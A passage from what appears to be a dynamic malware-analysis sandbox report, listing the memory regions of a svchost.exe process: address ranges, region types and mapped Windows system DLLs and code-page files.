= 0x3020fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1251.nls" filename = "\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls") Region: id = 715 start_va = 0x3030000 end_va = 0x3030fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003030000" filename = "" Region: id = 716 start_va = 0x3040000 end_va = 0x3046fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003040000" filename = "" Region: id = 717 start_va = 0x3070000 end_va = 0x30effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003070000" filename = "" Region: id = 718 start_va = 0x3150000 end_va = 0x3160fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1254.nls" filename = "\\Windows\\System32\\C_1254.NLS" (normalized: "c:\\windows\\system32\\c_1254.nls") Region: id = 719 start_va = 0x3170000 end_va = 0x3180fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1250.nls" filename = "\\Windows\\System32\\C_1250.NLS" (normalized: "c:\\windows\\system32\\c_1250.nls") Region: id = 720 start_va = 0x3190000 end_va = 0x328ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003190000" filename = "" Region: id = 721 start_va = 0x3290000 end_va = 0x330ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003290000" filename = "" Region: id = 722 start_va = 0x3310000 end_va = 0x338ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003310000" filename = "" Region: id = 723 start_va = 0x3390000 end_va = 0x3396fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003390000" filename = "" Region: id = 724 start_va = 0x34a0000 end_va = 0x351ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000034a0000" filename = "" Region: id = 725 start_va = 0x3520000 end_va = 0x3530fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1253.nls" filename = "\\Windows\\System32\\C_1253.NLS" (normalized: "c:\\windows\\system32\\c_1253.nls") Region: id = 726 start_va = 0x3540000 end_va = 0x3550fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1257.nls" filename = "\\Windows\\System32\\C_1257.NLS" (normalized: "c:\\windows\\system32\\c_1257.nls") Region: id = 727 start_va = 0x3570000 end_va = 0x35effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003570000" filename = "" Region: id = 728 start_va = 0x35f0000 end_va = 0x3600fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1255.nls" filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls") Region: id = 729 start_va = 0x3610000 end_va = 0x3637fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_932.nls" filename = "\\Windows\\System32\\C_932.NLS" (normalized: "c:\\windows\\system32\\c_932.nls") Region: id = 730 start_va = 0x3640000 end_va = 0x3650fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_874.nls" filename = "\\Windows\\System32\\C_874.NLS" (normalized: "c:\\windows\\system32\\c_874.nls") Region: id = 731 start_va = 0x3670000 end_va = 0x376ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003670000" filename = "" Region: id = 732 start_va = 0x3770000 end_va = 0x386ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003770000" filename = "" Region: id = 733 start_va = 0x3870000 end_va = 0x38effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003870000" filename = "" Region: id = 734 start_va = 0x3900000 end_va = 0x39fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003900000" filename = "" Region: id = 735 start_va = 0x3a00000 end_va = 0x3afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a00000" filename = "" Region: id = 736 start_va = 0x3b00000 end_va = 0x3bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b00000" filename = "" Region: id = 737 start_va = 0x3c00000 end_va = 0x3c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c00000" filename = "" Region: id = 738 start_va = 0x3c80000 end_va = 0x3d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c80000" filename = "" Region: id = 739 start_va = 0x3d80000 end_va = 0x3db0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_949.nls" filename = "\\Windows\\System32\\C_949.NLS" (normalized: "c:\\windows\\system32\\c_949.nls") Region: id = 740 start_va = 0x3dc0000 end_va = 0x3dd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1258.nls" filename = "\\Windows\\System32\\C_1258.NLS" (normalized: "c:\\windows\\system32\\c_1258.nls") Region: id = 741 start_va = 0x3e00000 end_va = 0x3e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e00000" filename = "" Region: id = 742 start_va = 0x3e80000 end_va = 0x3eb0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_936.nls" filename = "\\Windows\\System32\\C_936.NLS" (normalized: "c:\\windows\\system32\\c_936.nls") Region: id = 743 start_va = 0x3ec0000 end_va = 0x3ef0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_950.nls" filename = "\\Windows\\System32\\C_950.NLS" (normalized: "c:\\windows\\system32\\c_950.nls") Region: id = 744 start_va = 0x3f00000 end_va = 0x3ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f00000" filename = "" Region: id = 745 start_va = 0x4000000 end_va = 0x40fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004000000" filename = "" Region: id = 746 start_va = 0x4100000 end_va = 0x41fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004100000" filename = "" Region: id = 747 start_va = 0x4200000 end_va = 0x42fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004200000" filename = "" Region: id = 748 start_va = 0x4300000 end_va = 0x43fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004300000" filename = "" Region: id = 749 start_va = 0x4400000 end_va = 0x44fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004400000" filename = "" Region: id = 750 start_va = 0x4500000 end_va = 0x45fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004500000" filename = "" Region: id = 751 start_va = 0x4600000 end_va = 0x46fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004600000" filename = "" Region: id = 752 start_va = 0x4700000 end_va = 0x47fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004700000" filename = "" Region: id = 753 start_va = 0x4800000 end_va = 0x48fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004800000" filename = "" Region: id = 754 start_va = 0x4900000 end_va = 0x49fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004900000" filename = "" Region: id = 755 start_va = 0x4a00000 end_va = 0x4afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a00000" filename = "" Region: id = 756 start_va = 0x4b00000 end_va = 0x4bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b00000" filename = "" Region: id = 757 start_va = 0x4c00000 end_va = 0x4cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c00000" filename = "" Region: id = 758 start_va = 0x4d00000 end_va = 0x4dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d00000" filename = "" Region: id = 759 start_va = 0x4e70000 end_va = 0x4e76fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e70000" filename = "" Region: id = 760 start_va = 0x5180000 end_va = 0x527ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005180000" filename = "" Region: id = 761 start_va = 0x5360000 end_va = 0x5366fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005360000" filename = "" Region: id = 762 start_va = 0x5400000 end_va = 0x54fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005400000" filename = "" Region: id = 763 start_va = 0x5500000 end_va = 0x55fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005500000" filename = "" Region: id = 764 start_va = 0x5600000 end_va = 0x56fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005600000" filename = "" Region: id = 765 start_va = 0x5700000 end_va = 0x57fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005700000" filename = "" Region: id = 766 start_va = 0x5800000 end_va = 0x58fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005800000" filename = "" Region: id = 767 start_va = 0x5900000 end_va = 0x59fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005900000" filename = "" Region: id = 768 start_va = 0x5a00000 end_va = 0x5afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a00000" filename = "" Region: id = 769 start_va = 0x5b00000 end_va = 0x5bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b00000" filename = "" Region: id = 770 start_va = 0x5c00000 end_va = 0x5cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c00000" filename = "" Region: id = 771 start_va = 0x5d00000 end_va = 0x5dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d00000" filename = "" Region: id = 772 start_va = 0x5e00000 end_va = 0x5efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e00000" filename = "" Region: id = 773 start_va = 0x5f00000 end_va = 0x5ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f00000" filename = "" Region: id = 774 start_va = 0x6000000 end_va = 0x60fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006000000" filename = "" Region: id = 775 start_va = 0x6100000 end_va = 0x61fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006100000" filename = "" Region: id = 776 start_va = 0x6200000 end_va = 0x62fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006200000" filename = "" Region: id = 777 start_va = 0x6300000 end_va = 0x63fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006300000" filename = "" Region: id = 778 start_va = 0x6400000 end_va = 0x64fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006400000" filename = "" Region: id = 779 start_va = 0x6500000 end_va = 0x65fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006500000" filename = "" Region: id = 780 start_va = 0x6600000 end_va = 0x66fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006600000" filename = "" Region: id = 781 start_va = 0x6700000 end_va = 0x67fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006700000" filename = "" Region: id = 782 start_va = 0x6800000 end_va = 0x68fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006800000" filename = "" Region: id = 783 start_va = 0x6900000 end_va = 0x69fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006900000" filename = "" Region: id = 784 start_va = 0x6a00000 end_va = 0x6afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006a00000" filename = "" Region: id = 785 start_va = 0x6c00000 end_va = 0x6cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006c00000" filename = "" Region: id = 786 start_va = 0x6d00000 end_va = 0x6dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006d00000" filename = "" Region: id = 787 start_va = 0x6f00000 end_va = 0x6ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006f00000" filename = "" Region: id = 788 start_va = 0x7300000 end_va = 0x73fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007300000" filename = "" Region: id = 789 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 790 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 791 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 792 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 793 start_va = 0x7ff681250000 end_va = 0x7ff68125cfff monitored = 0 entry_point = 0x7ff681253980 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 794 start_va = 0x7ff9fc340000 end_va = 0x7ff9fc375fff monitored = 0 entry_point = 0x7ff9fc3427f0 region_type = mapped_file name = "windows.networking.hostname.dll" filename = "\\Windows\\System32\\Windows.Networking.HostName.dll" (normalized: "c:\\windows\\system32\\windows.networking.hostname.dll") Region: id = 795 start_va = 0x7ff9fc3e0000 end_va = 0x7ff9fc3f6fff monitored = 0 entry_point = 0x7ff9fc3e7520 region_type = mapped_file name = "usoapi.dll" filename = "\\Windows\\System32\\usoapi.dll" (normalized: "c:\\windows\\system32\\usoapi.dll") Region: id = 796 start_va = 0x7ff9fc400000 end_va = 0x7ff9fc4d4fff monitored = 0 entry_point = 0x7ff9fc41cf80 region_type = mapped_file name = "wuapi.dll" filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll") Region: id = 797 start_va = 0x7ff9fc4e0000 end_va = 0x7ff9fc523fff monitored = 0 entry_point = 0x7ff9fc5083e0 region_type = mapped_file name = "updatehandlers.dll" filename = "\\Windows\\System32\\updatehandlers.dll" (normalized: "c:\\windows\\system32\\updatehandlers.dll") Region: id = 798 start_va = 0x7ff9fc530000 end_va = 0x7ff9fc551fff monitored = 0 entry_point = 0x7ff9fc542540 region_type = mapped_file name = "updatepolicy.dll" filename = "\\Windows\\System32\\updatepolicy.dll" (normalized: "c:\\windows\\system32\\updatepolicy.dll") Region: id = 799 start_va = 0x7ff9fc560000 end_va = 0x7ff9fc577fff monitored = 0 entry_point = 0x7ff9fc56b850 region_type = mapped_file name = "dmcmnutils.dll" filename = "\\Windows\\System32\\dmcmnutils.dll" (normalized: "c:\\windows\\system32\\dmcmnutils.dll") Region: id = 800 start_va = 0x7ff9fc580000 end_va = 0x7ff9fc5dcfff monitored = 0 entry_point = 0x7ff9fc5ae510 region_type = mapped_file name = "usocore.dll" filename = "\\Windows\\System32\\usocore.dll" (normalized: "c:\\windows\\system32\\usocore.dll") Region: id = 801 start_va = 0x7ff9fc5e0000 end_va = 0x7ff9fc88ffff monitored = 0 entry_point = 0x7ff9fc5e1cf0 region_type = mapped_file name = "netshell.dll" filename = "\\Windows\\System32\\netshell.dll" (normalized: "c:\\windows\\system32\\netshell.dll") Region: id = 802 start_va = 0x7ff9fc890000 end_va = 0x7ff9fc90ffff monitored = 0 entry_point = 0x7ff9fc8bd280 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 803 start_va = 0x7ff9fcb70000 end_va = 0x7ff9fcb81fff monitored = 0 entry_point = 0x7ff9fcb71a80 region_type = mapped_file name = "bitsproxy.dll" filename = "\\Windows\\System32\\BitsProxy.dll" (normalized: "c:\\windows\\system32\\bitsproxy.dll") Region: id = 804 start_va = 0x7ff9ff910000 end_va = 0x7ff9ff976fff monitored = 0 entry_point = 0x7ff9ff91b160 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 805 start_va = 0x7ff9fff90000 end_va = 0x7ffa0009efff monitored = 0 entry_point = 0x7ff9fffcc010 region_type = mapped_file name = "dosvc.dll" filename = "\\Windows\\System32\\dosvc.dll" (normalized: "c:\\windows\\system32\\dosvc.dll") Region: id = 806 start_va = 0x7ffa00210000 end_va = 0x7ffa0032cfff monitored = 0 entry_point = 0x7ffa0023fe60 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 807 start_va = 0x7ffa01690000 end_va = 0x7ffa016a3fff monitored = 0 entry_point = 0x7ffa01693710 region_type = mapped_file name = "mskeyprotect.dll" filename = "\\Windows\\System32\\mskeyprotect.dll" (normalized: "c:\\windows\\system32\\mskeyprotect.dll") Region: id = 808 start_va = 0x7ffa01740000 end_va = 0x7ffa0175dfff monitored = 0 entry_point = 0x7ffa0174ef80 region_type = mapped_file name = "ncryptsslp.dll" filename = "\\Windows\\System32\\ncryptsslp.dll" (normalized: "c:\\windows\\system32\\ncryptsslp.dll") Region: id = 809 start_va = 0x7ffa069a0000 end_va = 0x7ffa069b5fff monitored = 0 entry_point = 0x7ffa069a1d50 region_type = mapped_file name = "wwapi.dll" filename = "\\Windows\\System32\\wwapi.dll" (normalized: "c:\\windows\\system32\\wwapi.dll") Region: id = 810 start_va = 0x7ffa07a20000 end_va = 0x7ffa07a30fff monitored = 0 entry_point = 0x7ffa07a27480 region_type = mapped_file name = "tetheringclient.dll" filename = "\\Windows\\System32\\tetheringclient.dll" (normalized: "c:\\windows\\system32\\tetheringclient.dll") Region: id = 811 start_va = 0x7ffa07a40000 end_va = 0x7ffa07ac3fff monitored = 0 entry_point = 0x7ffa07a58d50 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 812 start_va = 0x7ffa07ad0000 end_va = 0x7ffa07ae5fff monitored = 0 entry_point = 0x7ffa07ad55e0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 813 start_va = 0x7ffa07af0000 end_va = 0x7ffa07bc5fff monitored = 0 entry_point = 0x7ffa07b1a800 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 814 start_va = 0x7ffa07c20000 end_va = 0x7ffa07c83fff monitored = 0 entry_point = 0x7ffa07c3bed0 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 815 start_va = 0x7ffa07c90000 end_va = 0x7ffa07cb4fff monitored = 0 entry_point = 0x7ffa07c99900 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 816 start_va = 0x7ffa07cc0000 end_va = 0x7ffa07cd3fff monitored = 0 entry_point = 0x7ffa07cc1800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 817 start_va = 0x7ffa07ce0000 end_va = 0x7ffa07dd5fff monitored = 0 entry_point = 0x7ffa07d19590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 818 start_va = 0x7ffa07de0000 end_va = 0x7ffa07e53fff monitored = 0 entry_point = 0x7ffa07df5eb0 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 819 start_va = 0x7ffa07e60000 end_va = 0x7ffa07f96fff monitored = 0 entry_point = 0x7ffa07ea0480 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 820 start_va = 0x7ffa08390000 end_va = 0x7ffa083a0fff monitored = 0 entry_point = 0x7ffa08392fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 821 start_va = 0x7ffa083b0000 end_va = 0x7ffa083cdfff monitored = 0 entry_point = 0x7ffa083b3a40 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 822 start_va = 0x7ffa083d0000 end_va = 0x7ffa08451fff monitored = 0 entry_point = 0x7ffa083d2a10 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 823 start_va = 0x7ffa08460000 end_va = 0x7ffa08475fff monitored = 0 entry_point = 0x7ffa08461af0 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 824 start_va = 0x7ffa08480000 end_va = 0x7ffa08499fff monitored = 0 entry_point = 0x7ffa08482330 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 825 start_va = 0x7ffa088d0000 end_va = 0x7ffa08915fff monitored = 0 entry_point = 0x7ffa088d79a0 region_type = mapped_file name = "adsldp.dll" filename = "\\Windows\\System32\\adsldp.dll" (normalized: "c:\\windows\\system32\\adsldp.dll") Region: id = 826 start_va = 0x7ffa08940000 end_va = 0x7ffa0894efff monitored = 0 entry_point = 0x7ffa08944960 region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 827 start_va = 0x7ffa08a00000 end_va = 0x7ffa08a0bfff monitored = 0 entry_point = 0x7ffa08a035c0 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 828 start_va = 0x7ffa08a10000 end_va = 0x7ffa08a4ffff monitored = 0 entry_point = 0x7ffa08a1cbe0 region_type = mapped_file name = "adsldpc.dll" filename = "\\Windows\\System32\\adsldpc.dll" (normalized: "c:\\windows\\system32\\adsldpc.dll") Region: id = 829 start_va = 0x7ffa08a50000 end_va = 0x7ffa08a96fff monitored = 0 entry_point = 0x7ffa08a51d10 region_type = mapped_file name = "activeds.dll" filename = "\\Windows\\System32\\activeds.dll" (normalized: "c:\\windows\\system32\\activeds.dll") Region: id = 830 start_va = 0x7ffa08ae0000 end_va = 0x7ffa08b21fff monitored = 0 entry_point = 0x7ffa08ae3670 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 831 start_va = 0x7ffa08e00000 end_va = 0x7ffa08e1efff monitored = 0 entry_point = 0x7ffa08e037e0 region_type = mapped_file name = "netsetupapi.dll" filename = "\\Windows\\System32\\NetSetupApi.dll" (normalized: "c:\\windows\\system32\\netsetupapi.dll") Region: id = 832 start_va = 0x7ffa08e20000 end_va = 0x7ffa08e98fff monitored = 0 entry_point = 0x7ffa08e276a0 region_type = mapped_file name = "netsetupshim.dll" filename = "\\Windows\\System32\\NetSetupShim.dll" (normalized: "c:\\windows\\system32\\netsetupshim.dll") Region: id = 833 start_va = 0x7ffa08eb0000 end_va = 0x7ffa08eeffff monitored = 0 entry_point = 0x7ffa08ec6c60 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 834 start_va = 0x7ffa08f10000 end_va = 0x7ffa08f27fff monitored = 0 entry_point = 0x7ffa08f14e10 region_type = mapped_file name = "adhsvc.dll" filename = "\\Windows\\System32\\adhsvc.dll" (normalized: "c:\\windows\\system32\\adhsvc.dll") Region: id = 835 start_va = 0x7ffa08f30000 end_va = 0x7ffa08f54fff monitored = 0 entry_point = 0x7ffa08f35ca0 region_type = mapped_file name = "httpprxm.dll" filename = "\\Windows\\System32\\httpprxm.dll" (normalized: "c:\\windows\\system32\\httpprxm.dll") Region: id = 836 start_va = 0x7ffa08f60000 end_va = 0x7ffa090e1fff monitored = 0 entry_point = 0x7ffa08f782a0 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 837 start_va = 0x7ffa090f0000 end_va = 0x7ffa09192fff monitored = 0 entry_point = 0x7ffa090f2c10 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 838 start_va = 0x7ffa091a0000 end_va = 0x7ffa091f1fff monitored = 0 entry_point = 0x7ffa091a5770 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 839 start_va = 0x7ffa09200000 end_va = 0x7ffa0922dfff monitored = 1 entry_point = 0x7ffa09202300 region_type = mapped_file name = "wmidcom.dll" filename = "\\Windows\\System32\\wmidcom.dll" (normalized: "c:\\windows\\system32\\wmidcom.dll") Region: id = 840 start_va = 0x7ffa09230000 end_va = 0x7ffa0928dfff monitored = 0 entry_point = 0x7ffa09235080 region_type = mapped_file name = "miutils.dll" filename = "\\Windows\\System32\\miutils.dll" (normalized: "c:\\windows\\system32\\miutils.dll") Region: id = 841 start_va = 0x7ffa09290000 end_va = 0x7ffa092affff monitored = 0 entry_point = 0x7ffa09291f50 region_type = mapped_file name = "mi.dll" filename = "\\Windows\\System32\\mi.dll" (normalized: "c:\\windows\\system32\\mi.dll") Region: id = 842 start_va = 0x7ffa092b0000 end_va = 0x7ffa092b8fff monitored = 0 entry_point = 0x7ffa092b18f0 region_type = mapped_file name = "sscoreext.dll" filename = "\\Windows\\System32\\sscoreext.dll" (normalized: "c:\\windows\\system32\\sscoreext.dll") Region: id = 843 start_va = 0x7ffa092c0000 end_va = 0x7ffa092d0fff monitored = 0 entry_point = 0x7ffa092c1d30 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 844 start_va = 0x7ffa09330000 end_va = 0x7ffa09347fff monitored = 0 entry_point = 0x7ffa09332000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 845 start_va = 0x7ffa09350000 end_va = 0x7ffa09390fff monitored = 0 entry_point = 0x7ffa09353750 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 846 start_va = 0x7ffa09430000 end_va = 0x7ffa0947bfff monitored = 0 entry_point = 0x7ffa09445310 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 847 start_va = 0x7ffa09490000 end_va = 0x7ffa0950efff monitored = 0 entry_point = 0x7ffa094a7110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 848 start_va = 0x7ffa09510000 end_va = 0x7ffa0954bfff monitored = 0 entry_point = 0x7ffa09516aa0 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 849 start_va = 0x7ffa09c80000 end_va = 0x7ffa09c88fff monitored = 0 entry_point = 0x7ffa09c821d0 region_type = mapped_file name = "httpprxc.dll" filename = "\\Windows\\System32\\httpprxc.dll" (normalized: "c:\\windows\\system32\\httpprxc.dll") Region: id = 850 start_va = 0x7ffa09c90000 end_va = 0x7ffa09cc4fff monitored = 0 entry_point = 0x7ffa09c9a270 region_type = mapped_file name = "fwpolicyiomgr.dll" filename = "\\Windows\\System32\\fwpolicyiomgr.dll" (normalized: "c:\\windows\\system32\\fwpolicyiomgr.dll") Region: id = 851 start_va = 0x7ffa0a560000 end_va = 0x7ffa0a652fff monitored = 0 entry_point = 0x7ffa0a585d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 852 start_va = 0x7ffa0ac50000 end_va = 0x7ffa0ac59fff monitored = 0 entry_point = 0x7ffa0ac514c0 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 853 start_va = 0x7ffa0afc0000 end_va = 0x7ffa0afd1fff monitored = 0 entry_point = 0x7ffa0afc3580 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 854 start_va = 0x7ffa0b050000 end_va = 0x7ffa0b06afff monitored = 0 entry_point = 0x7ffa0b051040 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 855 start_va = 0x7ffa0b300000 end_va = 0x7ffa0b314fff monitored = 0 entry_point = 0x7ffa0b302dc0 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll") Region: id = 856 start_va 